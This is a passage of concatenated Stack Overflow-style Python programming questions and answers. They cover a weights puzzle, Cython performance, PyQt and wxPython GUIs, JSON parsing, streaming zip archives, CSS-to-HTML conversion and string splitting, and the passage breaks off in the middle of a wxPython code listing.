weight = 40
full = range(1,41)
comb = [x for x in it.combinations(full,4) if sum(x)==40]
`length of comb = 297`
Now I need to check each set of values in `comb` and try all the combination
of operations.
Eg if `(a,b,c,d)` is the first set of values in `comb`, I need to check
`a,b,c,d,a+b,a-b, .................a+b+c-d,a-b+c+d........` and so on.
I tried a lot, but i am stuck at this stage, ie how to check all these
combination of calculations to each set of 4 values.
**Question :**
1) I think i need to get a list all possible combination of `[a,b,c,d] and
[+,-]`.
2) does anyone have a better idea and tell me how to go forward from here?
Also, I want to do it completely without help of any external libraries, need
to use only standard libraries of python.
**EDIT** : Sorry for the late info. Its answer is (1,3,9,27), which I found a
few years back. I have checked and verified the answer.
EDIT : At present, `fraxel`'s answer works perfect with `time = 0.16 ms`. A
better and faster approach is always welcome.
Regards
ARK
Answer: **Earlier walk-through anwswer:**
We know `a*A + b*B + c*C + d*D = x` for all `x` between 0 and 40, and `a, b,
c, d` are confined to `-1, 0, 1`. Clearly `A + B + C + D = 40`. The next case
is `x = 39`, so clearly the smallest move is to remove an element (it is the
only possible move that could result in successfully balancing against 39):
`A + B + C = 39`, so `D = 1`, by neccessity.
next:
`A + B + C - D = 38`
next:
`A + B + D = 37`, so `C = 3`
then:
`A + B = 36`
then:
`A + B - D = 35`
`A + B - C + D = 34`
`A + B - C = 33`
`A + B - C - D = 32`
`A + C + D = 31`, so `A = 9`
Therefore `B = 27`
So the weights are `1, 3, 9, 27`
Really this can be deduced immediately from the fact that they must all be
multiples of 3.
**Interesting Update:**
So here is some python code to find a minimum set of weights for any dropped
weight that will span the space:
def find_weights(W):
weights = []
i = 0
while sum(weights) < W:
weights.append(3 ** i)
i += 1
weights.pop()
weights.append(W - sum(weights))
return weights
print find_weights(40)
#output:
[1, 3, 9, 27]
To further illustrate this explaination, one can consider the problem as the
minimum number of weights to span the number space `[0, 40]`. It is evident
that the number of things you can do with each weight is trinary /ternary (add
weight, remove weight, put weight on other side). So if we write our (unknown)
weights `(A, B, C, D)` in descending order, our moves can be summarised as:
ABCD: Ternary:
40: ++++ 0000
39: +++0 0001
38: +++- 0002
37: ++0+ 0010
36: ++00 0011
35: ++0- 0012
34: ++-+ 0020
33: ++-0 0021
32: ++-- 0022
31: +0++ 0100
etc.
I have put ternary counting from 0 to 9 alongside, to illustrate that we are
effectively in a trinary number system (base 3). Our solution can always be
written as:
3**0 + 3**1 +3**2 +...+ 3**N >= Weight
For the minimum N that this holds true. The minimum solution will ALWAYS be of
this form.
Furthermore, we can easily solve the problem for large weights and find the
minimum number of pieces to span the space:
**A man drops a known weight W, it breaks into pieces. His new weights allow
him to weigh any weight up to W. How many weights are there, and what are
they?**
#what if the dropped weight was a million Kg:
print find_weights(1000000)
#output:
[1, 3, 9, 27, 81, 243, 729, 2187, 6561, 19683, 59049, 177147, 531441, 202839]
Try using permutations for a large weight and unknown number of pieces!!
|
Python script to fetch URL protected by DES/kerberos
Question: I have a Python script that does an automatic download from a URL once a day.
Recently the authentication protecting the URL was changed. To get it to work
with Internet Explorer I had to enable DES for Kerberos by adding
SupportedEncryptionTypes " 0x7FFFFFFF" in a registry entry somewhere. Then it
prompts me for my domain/user/password in IE when I browse to the site.
My python code that was working before is:
def __build_ntlm_opener(self):
passman = HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, self.answers_url, self.ntlm_username, self.ntlm_password)
ntlm_handler = HTTPNtlmAuthHandler(passman)
opener = urllib.request.build_opener(ntlm_handler)
opener.addheaders= [
#('User-agent', 'Mozilla/5.0 (Windows NT 6.0; rv:5.0) Gecko/20100101 Firefox/5.0')
('User-agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)')
]
return opener
Now the code is failing with a simple 401 when using the opener:
urllib.error.HTTPError: HTTP Error 401: Unauthorized
I don't know much about Kerberos or DES but from what I see so far I can't
figure out if urllib supports using these.
Is there any 3rd party library or trick I can use to get this working again?
Answer: You could try using selenium's webdriver to directly drive a browser. I do
that sometimes when I want to scrape sites that are dynamically generated.
Here's a code example for opening a page and entering a password
from selenium import webdriver
b = webdriver.Chrome()
b.get('http://www.example.com')
username_field = b.find_element_by_id('username')
username_field.send_keys('my_username')
password_field = b.find_element_by_id('password')
password_field.send_keys('secret')
login_button = b.find_element_by_link_text('login').click()
That would get you past a typical login screen of a web site. Then
b.page_source
Will give you the source code for the page. Even if it was mainly generated
with Javascript.
The source code is very simple to parse:
<http://code.google.com/p/selenium/source/browse/trunk/py/selenium/webdriver/remote/webelement.py>
|
python, Json and string indices must be integers, not str
Question: I am using Python, and I sent a request to a URL and received a reply using
httplib2. The reply I got was in JSon, how do I access a specific parameter.
What I have at the moment is:
resp, content = parser.request(access_token_uri, method = 'POST', body = params, headers = headers)
raise Exception(content['access_token'])
and I get the error
string indices must be integers, not str
How do I do it?
Thanks
Answer: Well if the response type is json and it comes in type str.
If you are running 2.4 of Python use simplejson if 2.6 use json:
import json
# Your code
retdict = json.loads(content)
Then treat it like a dictionary.
accesstoken = retdict['access_token']
|
very slow cython classes?
Question: This code which contains cython classes:
cdef class Bench:
cdef long n
def __cinit__(self, long n):
self.n = n
cpdef int factors(self):
n = self.n
cdef int fac = 0
cdef unsigned long i
for i in range(2, n):
if n % i == 0:
fac += 1
return fac
if __name__ == "__main__":
print "hw"
which I called like this after compiling to a python extension:
from time import time
t1 = time()
import factors_class
ben = factors_class.Bench(1000000007)
print ben.factors()
t2 = time()
print t2 - t1
and it prints out 207.374788046 (Seconds)
but the pure python version (with just the function and a call to it) runs in
~ 77s and a cython code without class structure runs in ~ 10.2s
class-less version in cython:
cdef int factors(unsigned long n):
cdef int fac = 0
cdef unsigned long i
for i in range(2, n):
if n % i == 0:
fac += 1
return fac
print factors(1000000007)
if __name__ == "__main__":
print "hw"
Python version:
def factors(n):
fac = 0
for i in xrange(2, n):
if n % i == 0:
fac += 1
return fac
print factors(10000007)
I want to use cython classes for my library but, they seem to be very slow
compared to functional style programming in cython. Clearly something is wrong
in my cython class code. How can I improve its speed?
To summarise the benchmark results:
Cython class : 206s
Cython : 10.2s
python : 77s
Answer: declare a type for local variable n:
cdef long n = self.n
|
Python: getting lowest integer in list of tuples
Question: My current plan is to determine which is the first entry in a number of
[Tkinter](http://wiki.python.org/moin/TkInter) listboxes highlighted using
`.curselection()` and combining all of the resulting tuples into a list,
producing this:
tupleList = [(), (), ('24', '25', '26', '27'), (), (), (), ()]
I'm wondering as to how to determine the lowest integer. Using
`.min(tupleList)` returns only `()`, being the lowest entry in the list, but
I'm looking for a method that would return 24.
What's the right way to get the lowest integer in any tuple in the list?
Answer:
>>> from itertools import chain
>>> nums = [(), (), ('24', '25', '26', '27'), (), (), (), ()]
>>> min(map(int,chain.from_iterable(nums)))
24
|
Using Beautiful Soup to convert CSS attributes to individual HTML attributes?
Question: I'm trying to write a program that will take an HTML file and make it more
email friendly. Right now all the conversion is done manually because none of
the online converters do exactly what we need.
This sounded like a great opportunity to push the limits of my programming
knowledge and actually code something useful so I offered to try to write a
program in my spare time to help make the process more automated.
I don't know much about HTML or CSS so I'm mostly relying on my brother (who
does know HTML and CSS) to describe what changes this program needs to make,
so please bear with me if I ask a stupid question. This is totally new
territory for me.
Most of the changes are pretty basic -- if you see tag/attribute X then
convert it to tag/attribute Y. But I've run into trouble when dealing with an
HTML tag containing a style attribute. For example:
<img src="http://example.com/file.jpg" style="width:150px;height:50px;float:right" />
Whenever possible I want to convert the style attributes into HTML attributes
(or convert the style attribute to something more email friendly). So after
the conversion it should look like this:
<img src="http://example.com/file.jpg" width="150" height="50" align="right"/>
Now I realize that not all CSS style attributes have an HTML equivalent, so
right now I only want to focus on the ones that do. I whipped up a Python
script that would do this conversion:
from bs4 import BeautifulSoup
import re
class Styler(object):
img_attributes = {'float' : 'align'}
def __init__(self, soup):
self.soup = soup
def format_factory(self):
self.handle_image()
def handle_image(self):
tag = self.soup.find_all("img", style = re.compile('.'))
print tag
for i in xrange(len(tag)):
old_attributes = tag[i]['style']
tokens = [s for s in re.split(r'[:;]+|px', str(old_attributes)) if s]
del tag[i]['style']
print tokens
for j in xrange(0, len(tokens), 2):
if tokens[j] in Styler.img_attributes:
tokens[j] = Styler.img_attributes[tokens[j]]
tag[i][tokens[j]] = tokens[j+1]
if __name__ == '__main__':
html = """
<body>hello</body>
<img src="http://example.com/file.jpg" style="width:150px;height:50px;float:right" />
<blockquote>my blockquote text</blockquote>
<div style="padding-left:25px; padding-right:25px;">text here</div>
<body>goodbye</body>
"""
soup = BeautifulSoup(html)
s = Styler(soup)
s.format_factory()
Now this script will handle my particular example just fine, but it's not very
robust and I realize that when put up against real world examples it will
easily break. My question is, how can I make this more robust? As far as I can
tell Beautiful Soup doesn't have a way to change or extract individual pieces
of a style attribute. I guess that's what I'm looking to do.
Answer: For this type of thing, I'd recommend an HTML parser (like BeautifulSoup or
lxml) in conjunction with a specialized CSS parser. I've had success with [the
cssutils package](http://pypi.python.org/pypi/cssutils/). You'll have a much
easier time than trying to come up with regular expressions to match any
possible CSS you might find in the wild.
For example:
>>> import cssutils
>>> css = 'width:150px;height:50px;float:right;'
>>> s = cssutils.parseStyle(css)
>>> s.width
u'150px'
>>> s.height
u'50px'
>>> s.keys()
[u'width', u'height', u'float']
>>> s.cssText
u'width: 150px;\nheight: 50px;\nfloat: right'
>>> del s['width']
>>> s.cssText
u'height: 50px;\nfloat: right'
So, using this you can pretty easily extract and manipulate the CSS properties
you want and plug them into the HTML directly with BeautifulSoup. Be a little
careful of the newline characters that pop up in the `cssText` attribute,
though. I think cssutils is more designed for formatting things as standalone
CSS files, but it's flexible enough to mostly work for what you're doing here.
|
Create and stream a large archive without storing it in memory or on disk
Question: I want to allow users to download an archive of multiple large files at once.
However, the files and the archive may be too large to store in memory or on
disk on my server (they are streamed in from other servers on the fly). I'd
like to generate the archive as I stream it to the user.
I can use Tar or Zip or whatever is simplest. I am using django, which allows
me to return a generator or file-like object in my response. This object could
be used to pump the process along. However, I am having trouble figuring out
how to build this sort of thing around the zipfile or tarfile libraries, and
I'm afraid they may not support reading files as they go, or reading the
archive as it is built.
This answer on [converting an iterator to a file-like
object](http://stackoverflow.com/questions/6657820/python-convert-an-iterable-
to-a-stream) might help. `tarfile#addfile` takes an iterable, but it appears
to immediately pass that to `shutil.copyfileobj`, so this may not be as
generator-friendly as I had hoped.
Answer: You can do it by generating and streaming a zip file with no compression,
which is basically to just add the headers before each file's content. You're
right, the libraries don't support this, but you can hack around them to get
it working.
This code wraps zipfile.ZipFile with a class that manages the stream and
creates instances of zipfile.ZipInfo for the files as they come. CRC and size
can be set at the end. You can push data from the input stream into it with
put_file(), write() and flush(), and read data out of it to the output stream
with read().
import struct
import zipfile
import time
from StringIO import StringIO
class ZipStreamer(object):
def __init__(self):
self.out_stream = StringIO()
# write to the stringIO with no compression
self.zipfile = zipfile.ZipFile(self.out_stream, 'w', zipfile.ZIP_STORED)
self.current_file = None
self._last_streamed = 0
def put_file(self, name, date_time=None):
if date_time is None:
date_time = time.localtime(time.time())[:6]
zinfo = zipfile.ZipInfo(name, date_time)
zinfo.compress_type = zipfile.ZIP_STORED
zinfo.flag_bits = 0x08
zinfo.external_attr = 0600 << 16
zinfo.header_offset = self.out_stream.pos
# write right values later
zinfo.CRC = 0
zinfo.file_size = 0
zinfo.compress_size = 0
self.zipfile._writecheck(zinfo)
# write header to stream
self.out_stream.write(zinfo.FileHeader())
self.current_file = zinfo
def flush(self):
zinfo = self.current_file
self.out_stream.write(struct.pack("<LLL", zinfo.CRC, zinfo.compress_size, zinfo.file_size))
self.zipfile.filelist.append(zinfo)
self.zipfile.NameToInfo[zinfo.filename] = zinfo
self.current_file = None
def write(self, bytes):
self.out_stream.write(bytes)
self.out_stream.flush()
zinfo = self.current_file
# update these...
zinfo.CRC = zipfile.crc32(bytes, zinfo.CRC) & 0xffffffff
zinfo.file_size += len(bytes)
zinfo.compress_size += len(bytes)
def read(self):
i = self.out_stream.pos
self.out_stream.seek(self._last_streamed)
bytes = self.out_stream.read()
self.out_stream.seek(i)
self._last_streamed = i
return bytes
def close(self):
self.zipfile.close()
Keep in mind that this code was just a quick proof of concept and I did no
further development or testing once I decided to let the http server itself
deal with this problem. A few things you should look into if you decide to use
it is to check if nested folders are archived correctly, and filename encoding
(which is always a pain with zip files anyway).
|
how to add image with text in qlistwidget pyqt4 python?
Question: How to add image/icon with text in a qlistwidget in pyqt4 python? I want to
add an icon with text just like a chat system. thanks
Answer: I have tried this right now and it works, supposing you have a file named
tick.png in the same folder as this script.
import sys
from PyQt4 import QtGui, QtCore
from PyQt4.QtGui import QApplication, QDialog, QListWidgetItem, QListWidget, QIcon
def main():
app = QtGui.QApplication(sys.argv)
window = QDialog()
list = QListWidget( window )
itm = QListWidgetItem( "Tick" );
itm.setIcon(QIcon(r"tick.png"));
list.addItem(itm);
window.show( )
sys.exit(app.exec_())
if __name__ == '__main__':
main()
The chat-like-icon system may be different from this, but right now I don't
see a way to have a QListWidgetItem with multiple smileys and text.
You may think of smileys as a particular case of a QListWidgetItem where the
text is blank and only the icon is present.
Another solution is using a read-only QTextEdit as chatboard and have the user
typing its text + icon + text (etc.) in a separate editable QTextEdit. Then,
when he presses the send button, append everything he typed to the read-only
QTextEdit.
import sys
from PyQt4 import QtGui, QtCore
from PyQt4.QtGui import QApplication, QDialog, QListWidgetItem, QListWidget, QIcon, QTextEdit, QTextDocumentFragment
def main():
app = QtGui.QApplication(sys.argv)
window = QDialog()
list = QListWidget( window )
textEditor = QTextEdit( window );
textEditor.setReadOnly( True )
tick_icon = QTextDocumentFragment.fromHtml(r"<img src='tick.png'>");
textEditor.insertPlainText ( " ValiumKnight writes: " )
textEditor.textCursor().insertFragment(tick_icon);
textEditor.insertPlainText ( " Hello World " )
textEditor.textCursor().insertFragment(tick_icon);
textEditor.textCursor().insertFragment(tick_icon);
textEditor.textCursor().insertFragment(tick_icon);
window.show( )
sys.exit(app.exec_())
if __name__ == '__main__':
main()
Bye!
|
Python: Unresolved import error for sqlite3 in PyDev in Eclipse
Question: import sqlite3 generates:
Unused import: sqlite3
Unresolved import: sqlite3
sqlite3 Found at: DatabaseTests
import sqlite3
However, this works perfectly in the terminal when using the python command-
line.
I am running on a Mac Mountain Lion, with the default installation of Python.
I am using PyDev in Eclipse Indigo.
Answer: This is a very old thread but I don't see the solution I found for this
problem so I'll post it in hopes that somebody sees this and can then solve
the problem:
you need to add 'sqlite3' (without the quotatios) in the 'forced builtins' tab
in Window>Preferences>PyDev>Python Interpreter
|
importing simple program using pyqt4 and python
Question:
from PyQt4.QtGui import QApplication, QMainWindow, QPushButton, \
QLabel, QVBoxLayout, QWidget
from PyQt4 import QtGui
import sys
import subprocess
class MainWindow1(QMainWindow):
def __init__(self, parent=None):
QMainWindow.__init__(self, parent)
button = QPushButton('NotePad')
label = QLabel('MainWindow1')
centralWidget = QWidget()
vbox = QVBoxLayout(centralWidget)
vbox.addWidget(label)
vbox.addWidget(button)
self.setCentralWidget(centralWidget)
button.clicked.connect(self.LaunchNotepad)
# Some code here - including import subprocess
def LaunchNotepad(self):
returncode = subprocess.call(['python', 'notepad.py'])
if __name__ == '__main__':
app = QApplication(sys.argv)
mainwindow1 = MainWindow1()
mainwindow1.show()
sys.exit(app.exec_())
that code creates a main window with a button, when i press the button i would
like it to import my file called "notepad", (I think it does) however it opens
it and closes it straight away. I need to be able to use the program notepad
until i close it in which case it should revert back to the original window.
Eventually i will have 3 or 4 buttons importing 3 or 4 different programs
I dont think there is an error in notepad because when i only have the
statement "import notepad" it runs perfectly
note: the notepad file is just a simple text program (much like the "notepad"
program on windows pcs)
thanks in advance
edit here is note pad code:
import sys
import os
import datetime as dt
from PyQt4 import QtGui
from PyQt4 import *
class Notepad(QtGui.QMainWindow):
def __init__(self):
super(Notepad, self).__init__()
self.initUI()
def initUI(self):
newAction = QtGui.QAction('New', self)
newAction.setShortcut('Ctrl+N')
newAction.setStatusTip('Create new file')
newAction.triggered.connect(self.newFile)
saveAction = QtGui.QAction('Save', self)
saveAction.setShortcut('Ctrl+S')
saveAction.setStatusTip('Save current file')
saveAction.triggered.connect(self.saveFile)
openAction = QtGui.QAction('Open', self)
openAction.setShortcut('Ctrl+O')
openAction.setStatusTip('Open a file')
openAction.triggered.connect(self.openFile)
closeAction = QtGui.QAction('Close', self)
closeAction.setShortcut('Ctrl+Q')
closeAction.setStatusTip('Close Notepad')
closeAction.triggered.connect(self.close)
menubar = self.menuBar()
fileMenu = menubar.addMenu('&File')
fileMenu.addAction(newAction)
fileMenu.addAction(saveAction)
fileMenu.addAction(openAction)
fileMenu.addAction(closeAction)
#help menu
helpMenu = menubar.addMenu('&Help')
aboutAction = QtGui.QAction('About', self)
aboutAction.setShortcut('Ctrl+A')
aboutAction.setStatusTip('About')
helpMenu.addAction(aboutAction)
aboutAction.triggered.connect(self.about)
self.text = QtGui.QTextEdit(self)
self.setCentralWidget(self.text)
self.setGeometry(300,300,300,300)
self.setWindowTitle('Notepad')
self.show()
self.statusBar()
def newFile(self):
self.text.clear()
def saveFile(self):
filename = QtGui.QFileDialog.getSaveFileName(self, 'Save File', os.getenv('HOME'))
f = open(filename, 'w')
filedata = self.text.toPlainText()
f.write(filedata)
f.close()
def openFile(self):
filename = QtGui.QFileDialog.getOpenFileName(self, 'Open File', os.getenv('HOME'))
f = open(filename, 'r')
filedata = f.read()
self.text.setText(filedata)
f.close()
self.setGeometry(300,300,300,300)
self.setWindowTitle('Notepad')
self.show()
def closeEvent(self, event):
reply = QtGui.QMessageBox.question(self, 'Message',
"Are you sure to quit?", QtGui.QMessageBox.Yes |
QtGui.QMessageBox.No, QtGui.QMessageBox.No)
if reply == QtGui.QMessageBox.Yes:
event.accept()
else:
event.ignore()
def about(self, event):
reply = QtGui.QMessageBox.question(self, 'About Task Manager',
"This is a notepad todo list program written by craig murch")
return Notepad
if __name__ == '__main__':
app = QtGui.QApplication(sys.argv)
notepad = Notepad()
sys.exit(app.exec_())
EDIT: The edited code above now does want i want it to do however it loads the
cmd as well which i dont want to, how do i stop it loading the cmd?
Answer: Well, in your Notepad code you have
sys.exit(app.exec_())
This will close the _entire process_. So if you're importing it from your
parent window then yeah, it should be closing your application.
Also, regardless of which GUI framework you use it's always a bad idea to mix
mainloops in the same process. Instead, you should use `subprocess` to call
your other application:
# Some code here - including import subprocess
import os
def LaunchNotepad(self):
self.DoSomething() #Or whatever you want to do before your program launches
returncode = subprocess.call(['pythonw', 'notepad.py'],
stdout=open(os.devnull, 'w'),
stderr=open(os.devnull, 'w'))
self.ShowMe() #Won't run until notepad finishes
if not returncode:
self.ShowError("Notepad exited abnormally!")
That's a pretty basic example of what you could do.
|
Python: CheckBox-es in QTableWidget's column
Question: I've just started to work with python, so I run into problem. I've searched
everywhere, but I couldn't find similar example. So, the problem is following:
I made a simple GUI using QT-Designer. QTableWidget is being filled out by
clicking on button Analyse. (as you can see on the picture) [link for
picture](http://desmond.imageshack.us/Himg41/scaled.php?server=41&filename=picuu.png&res=landing)
When I select one checkBox the rest of them are being selected randomly, and I
don't know why. As I said, I'm new at Python, so the good explanation would
mean a lot to me. Here is the source code:
import sys
from PyQt4 import QtGui,QtCore
from IDCS import *
class MyForm(QtGui.QMainWindow):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.ui = Ui_MainWindow()
self.ui.setupUi(self)
self.connect(self.ui.analyseButton, QtCore.SIGNAL('clicked()'), self.doAnalyse)
self.connect(self.ui.quitButton, QtCore.SIGNAL('clicked()'), QtGui.qApp, QtCore.SLOT('quit()'))
def doAnalyse(self):
self.ui.tableWidget.setRowCount(10)
chkBoxItem = QtGui.QTableWidgetItem()
chkBoxItem.setFlags(QtCore.Qt.ItemIsUserCheckable | QtCore.Qt.ItemIsEnabled)
chkBoxItem.setCheckState(QtCore.Qt.Unchecked)
for i in range(10):
self.ui.tableWidget.setItem(i, 0, chkBoxItem)
self.ui.tableWidget.setItem(i, 1, QtGui.QTableWidgetItem("description %s" % (i+1)))
self.ui.tableWidget.setItem(i, 2, QtGui.QTableWidgetItem("name %s" % (i+1)))
if __name__ == "__main__":
app = QtGui.QApplication(sys.argv)
myapp = MyForm()
myapp.show()
sys.exit(app.exec_())e
Answer: You are making only one instance of the CheckBox and putting it in 10
different places and that is wrong. You have to make 10 instances of CheckBox,
and you will do that by moving those 3 lines of code, in which you are
creating instance of CheckBox, under the for loop below.
|
Python: can a class instance evaluate to any type?
Question: A class can act as a string through its __str__ method, or as a function via
its __call__ method. Can it act as, say, a list, or a tuple?
class A (object):
def __???__ (self):
return (1, 2, 3)
>>> a = A()
>>> a * 3
(1, 2, 3, 1, 2, 3, 1, 2, 3)
**EDIT...**
Here's a better example to help clarify the above.
class Vector (object):
def __init__ (self):
self.vec = (1,2,3)
def __???__ (self):
# something like __repr__; non-string
return self.vec
class Widget (object):
def __init__ (self):
self.vector = Vector()
>>> w = Widget()
>>> w.vector
(1, 2, 3) # not a string representation (at least, before being repr'd here)
Basically, I want something like __repr__ that doesn't return a string, but
returns a tuple (or list) when I simply invoke the name pointing to the Vector
instance, but I don't want to lose the rest of the abilities in the instance,
like access to other properties and methods. I also don't want to have to use
`w.vector.vec` to get to the data. I want vector to act like a tuple attribute
of w, while still being able to do something like `w.vector.whatever()`, or
overriding __mul__ so I can scale the vector via `w.vector * 5`. Possible?
Answer: Depending on what your goal is, you can create a class that inherits from
built-in classes like `list` or `tuple`:
>>> class A(tuple):
... def speak(self):
... print "Bark!"
...
>>> a = A((1,2,3)) # extra parens needed to distinguish single tuple arg from 3 scalar args
>>> a * 3
(1, 2, 3, 1, 2, 3, 1, 2, 3)
>>> a.speak()
Bark!
Given your Vector use case, subclassing tuple might well do the trick.
import math
class Vector(tuple):
def magnitude(self):
return math.sqrt( self[0]*self[0]+self[1]*self[1]+self[2]*self[2] )
|
Python multiplication table syntax differences
Question: So I'm learning python as a beginner and have been using How to Think Like a
Computer Scientist for python 3. I'm on the chapter about iteration, doing the
coding from my own brain instead of copy/pasting so I remember it easier.
When doing the last part of the multiplication table section, I got the same
output as the lesson showed, but it seems like mine is cleaner (fewer
arguments). I'm still trying to get the hang of tracing programs, so I'm
having a hard time wrapping my head around the differences. I was hoping
someone could let me know if my code is less efficient or more error prone
somehow than the text's version and help end this headache ;).
def print_multiples(n, high): #This is the e-book version
for i in range(1, high+1):
print(n * i, end=' ')
print()
def print_mult_table(high):
for i in range(1, high+1):
print_multiples(i, i+1) #They changed high+1 to i+1 to halve output
[Source](http://openbookproject.net/thinkcs/python/english3e/iteration.html
"e-book source")
It seems like their result would have too many +1's, since i+1 would become
'high' in print_multiples and then end up adding +1 again in print_multiples'
loop. (I also noticed they kept the end=' ' instead of a end='\t' which threw
off alignment.
def print_multiples(n): #n is the number of columns that will be made
'''Prints a line of multiples of factor 'n'.'''
for x in range(1, n+1): #prints n 2n 3n ... until x = n+1
print(n * x, end='\t') #(since x starts counting at 0,
print() #n*n will be the final entry)
def print_mult_table(n): #n is the final factor
'''Makes a table from a factor 'n' via print_multiples().
'''
for i in range(1, n+1): #call function to print rows with i
print_multiples(i) #as the multiplier.
This is mine. The elementary comments were for my benefit trying to keep the
tracing straight in my head. My functions make a lot more sense to me, but
there could be some difference. I don't really understand why the book decided
to make two arguments for print_multiples() since 1 seems sufficient to me...I
also changed most of the variables since they were using 'i' and 'high'
multiple times to demonstrate local vs global. I re-used n, though, since it
would be the same final number in both cases.
There might be more efficient ways to do this type of thing, but I'm still on
iteration. Just hoping to try to get a feel for what works and what doesn't
and this one is bugging me.
Answer: (Note: right, you're running Python 3.x)
Your code is simpler and makes more sense to me, too.
Theirs is correct, but its intention is not quite the same, so its output is
different.
Carefully compare the outputs of both and see if you can notice the pattern of
difference.
Your code is slightly more "efficient", but printing stuff to the screen takes
a (relatively) long time, and your program prints slightly less than theirs.
To measure efficiency, you can "profile" code in Python to see how long things
take. Below is the code I ran to
a) inspect the difference in source text and output
b) profile the code to see which was faster.
You might try running it. Good luck!
import cProfile
def print_multiples0(n, high): #This is the e-book version
for i in range(1, high+1):
print(n * i, end=' ')
print()
def print_mult_table0(high):
for i in range(1, high+1):
print_multiples0(i, i+1) #They changed high+1 to i+1 to halve output
def print_multiples1(n): #n is the number of columns that will be made
'''Prints a line of multiples of factor 'n'.'''
for x in range(1, n+1): #prints n 2n 3n ... until x = n+1
print(n * x, end='\t') #(since x starts counting at 0,
print() #n*n will be the final entry)
def print_mult_table1(n): #n is the final factor
'''Makes a table from a factor 'n' via print_multiples().
'''
for i in range(1, n+1): #call function to print rows with i
print_multiples1(i) #as the multiplier.
def test( ) :
print_mult_table0( 10)
print_mult_table1( 10)
cProfile.run( 'test()')
|
Split string by multiple separators?
Question: > **Possible Duplicate:**
> [Python: Split string with multiple
> delimiters](http://stackoverflow.com/questions/4998629/python-split-string-
> with-multiple-delimiters)
Can I do something similar in Python?
Split method in VB.net:
Dim line As String = "Tech ID: xxxxxxxxxx Name: DOE, JOHN Account #: xxxxxxxx"
Dim separators() As String = {"Tech ID:", "Name:", "Account #:"}
Dim result() As String
result = line.Split(separators, StringSplitOptions.RemoveEmptyEntries)
Answer: Given a bad data format like this, you could try `re.split()`:
>>> import re
>>> mystring = "Field 1: Data 1 Field 2: Data 2 Field 3: Data 3"
>>> a = re.split(r"(Field 1:|Field 2:|Field 3:)",mystring)
['', 'Field 1:', ' Data 1 ', 'Field 2:', ' Data 2 ', 'Field 3:', ' Data 3']
Your job would be much easier if the data was sanely formatted, with quoted
strings and comma-separated records. This would admit the use of the `csv`
module for parsing of comma-separated value files.
Edit:
You can filter out the blank entries with a list comprehension.
>>> a_non_empty = [s for s in a if s]
>>> a_non_empty
['Field 1:', ' Data 1 ', 'Field 2:', ' Data 2 ', 'Field 3:', ' Data 3']
|
python mechanize FormNotFoundError
Question: I am working on mechanize to fetch form element
import mechanize
br = mechanize.Browser()
br.set_handle_robots(False)
br.open("http://www.bnm.gov.my/index.php?ch=12&pg=622")
br.select_form(name="Rates")
But this is throwing error:
FormNotFoundError: no form matching name 'Rates'
Even though there is
<form onsubmit="return validate();" method="get" action="index.php" name="Rates">
can some one help on this
Thanks in advance
Answer: Try selecting the form with the nr param:
select_form(self, name=None, predicate=None, nr=None)
I guess that page has only 1 form, so try nr=0.
If there is no form in the page, then it probably means that it was added
using Javascript. And, in that case, mechanize won't be enough. You will have
to use Selenium or Spynner.
|
How to optimize a wxpython GUI (without threading preferably)? hints for code below?
Question: My GUI with following code does not have threads.The image display hogs up
lots of memory and GUI is blocked ,and I can only call one function at a
time.Please suggest simple hacks to make the GUI faster.Anyways The Image
processing tasks like Clustering takes 5-6 mins.
import wx
import sys
import os
import matplotlib
import OpenGL
import PIL
import time
from spectral.graphics.hypercube import hypercube
from spectral import *
init_graphics()
class RedirectText(object):
def __init__(self,awxTextCtrl):
self.out=awxTextCtrl
def write(self,string):
self.out.WriteText(string)
class Frame(wx.Frame):
def __init__(self, title,*args,**kwargs):
wx.Frame.__init__(self, None, title=title, size= (1000,85),style=wx.MINIMIZE_BOX|wx.CLOSE_BOX|wx.RESIZE_BORDER|wx.SYSTEM_MENU|wx.CAPTION|wx.CLIP_CHILDREN)
self.Bind(wx.EVT_CLOSE, self.OnClose)
panel=wx.Panel(self,-1)
self.button=wx.Button(panel,label="Open",pos=(0,0),size=(50,30))
self.button1=wx.Button(panel,label="Save",pos=(51,0),size=(50,30))
self.button2=wx.Button(panel,label="ROI",pos=(102,0),size=(50,30))
self.button3=wx.Button(panel,label="Tone",pos=(153,0),size=(50,30))
self.slider=wx.Slider(panel,pos=(204,0))
self.button4=wx.Button(panel,label="Header",pos=(305,0),size=(50,30))
self.button5=wx.Button(panel,label="Cluster",pos=(356,0),size=(50,30))
self.button6=wx.Button(panel,label="Cube",pos=(407,0),size=(50,30))
self.button7=wx.Button(panel,label="Gaussian",pos=(458,0),size=(50,30))
self.Bind(wx.EVT_BUTTON, self.OnCubeClick,self.button5)
self.Bind(wx.EVT_BUTTON, self.OnHeadClick,self.button4)
self.Bind(wx.EVT_BUTTON, self.OnSaveClick,self.button1)
self.Bind(wx.EVT_BUTTON, self.OnButtonClick,self.button)
self.Bind(wx.EVT_BUTTON, self.OnCClick,self.button6)
self.Bind(wx.EVT_BUTTON, self.OnGClick,self.button7)
#self.std=wx.TextCtrl(panel,pos=(0,31), size=(500,-1))
self.loc=wx.TextCtrl(panel,pos=(700,0), size=(300,-1))
self.status = wx.TextCtrl(panel,-1,'Choose file',pos=(800,22),size=(200,-1))
#redir=RedirectText(self.std)
#sys.stdout=redir
def OnButtonClick(self,event):
wild="HSi Files|*.lan*|All Files|*.*"
dlg=wx.FileDialog(self,message="Choose a File",wildcard=wild,style=wx.FD_OPEN)
if dlg.ShowModal() == wx.ID_OK:
time.sleep(0.5)
self.loc.SetValue(dlg.GetPath())
dlg.Destroy()
self.Onview()
def Onview(self):
filepath=self.loc.GetValue()
img=image(filepath)
time.sleep(1)
view(img)
time.sleep(1)
self.status.SetValue('View Ready')
def OnHeadClick(self,event):
filepath=self.loc.GetValue()
img=image(filepath)
self.status.SetValue(img.shape)
def OnCubeClick(self,event):
time.sleep(0.2)
self.status.SetValue('Clustering')
filepath=self.loc.GetValue()
img= image(filepath).load()
(m, c) = cluster(img, 20)
view_indexed(m)
self.status.SetValue('Clustering View Ready')
def OnCClick(self,event):
self.status.SetValue('Cube view')
time.sleep(5)
filepath=self.loc.GetValue()
img= image(filepath).load()
hypercube(img, bands=[29, 19, 9])
def OnGClick(self,event):
self.status.SetValue('Gaussian procesing')
time.sleep(30)
filepath=self.loc.GetValue()
gt=image(filepath).read_band(0)
img=image(filepath)
classes = create_training_classes(img,gt)
gmlc = GaussianClassifier(classes)
clMap = gmlc.classify_image(img)
